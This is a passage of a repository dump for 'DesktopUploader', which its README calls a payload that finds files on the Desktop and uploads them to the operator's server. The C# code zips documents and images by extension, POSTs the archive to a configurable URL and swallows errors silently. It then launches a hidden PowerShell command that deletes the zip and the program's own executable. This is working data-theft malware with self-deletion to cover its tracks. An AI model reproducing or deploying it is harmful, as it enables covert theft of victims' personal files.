69 | //Get every file path on LIST and add them to ZIP file 70 | private void Save(List files) 71 | { 72 | try 73 | { 74 | if (File.Exists(ZipName)) File.Delete(ZipName); 75 | using (ZipFile zip = new ZipFile()) 76 | { 77 | foreach (string file in files) 78 | { 79 | zip.AddFile(file); 80 | } 81 | zip.Save(ZipName); 82 | } 83 | } 84 | catch { } 85 | } 86 | 87 | private void Send() 88 | { 89 | try 90 | { 91 | if (File.Exists(ZipName) && new FileInfo(ZipName).Length > 0) 92 | using (WebClient Client = new WebClient()) 93 | { 94 | Client.Headers.Add("Content-Type", "application/zip"); 95 | Client.UploadFile(Url, "POST", ZipName); 96 | } 97 | } 98 | catch { } 99 | } 100 | 101 | //Delete zip file and payload after sending is finish 102 | private void Delete() 103 | { 104 | ProcessStartInfo processStart = new ProcessStartInfo(); 105 | processStart.FileName = "Powershell.exe"; 106 | processStart.Arguments = "Start-Sleep -Seconds 1.5; Remove-Item \"" + ZipName + "\"" + "; Remove-Item \"" + Process.GetCurrentProcess().MainModule.FileName + "\""; 107 | processStart.WindowStyle = ProcessWindowStyle.Hidden; 108 | processStart.CreateNoWindow = true; 109 | processStart.UseShellExecute = false; 110 | Process.Start(processStart); 111 | } 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /DesktopUploader/Resources/System.Compiler.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/DesktopUploader/5a2c4939eb4ab368e0edf1e1146d0577e029b431/DesktopUploader/Resources/System.Compiler.dll -------------------------------------------------------------------------------- /DesktopUploader/Resources/uploader.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /DesktopUploader/UploaderSettings.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace DesktopUploader 4 | { 5 | public class UploaderSettings 6 | { 7 | public string Url { get; set; } 8 | public int SizeLimit { get; set; } 9 | public List Extensions { get; set; } 10 | 11 | public UploaderSettings() 12 | { 13 | Url = "http://127.0.0.1/uploader.php"; 14 | Extensions = new List { ".jpeg", ".jpg", ".txt", ".doc", ".docx" }; 15 | SizeLimit = 500 * 1024; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /DesktopUploader/me.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NYAN-x-CAT/DesktopUploader/5a2c4939eb4ab368e0edf1e1146d0577e029b431/DesktopUploader/me.ico -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # DesktopUploader 4 | his payload will search for specific files in Desktop then upload them as *zip to your server/domain 5 | --------------------------------------------------------------------------------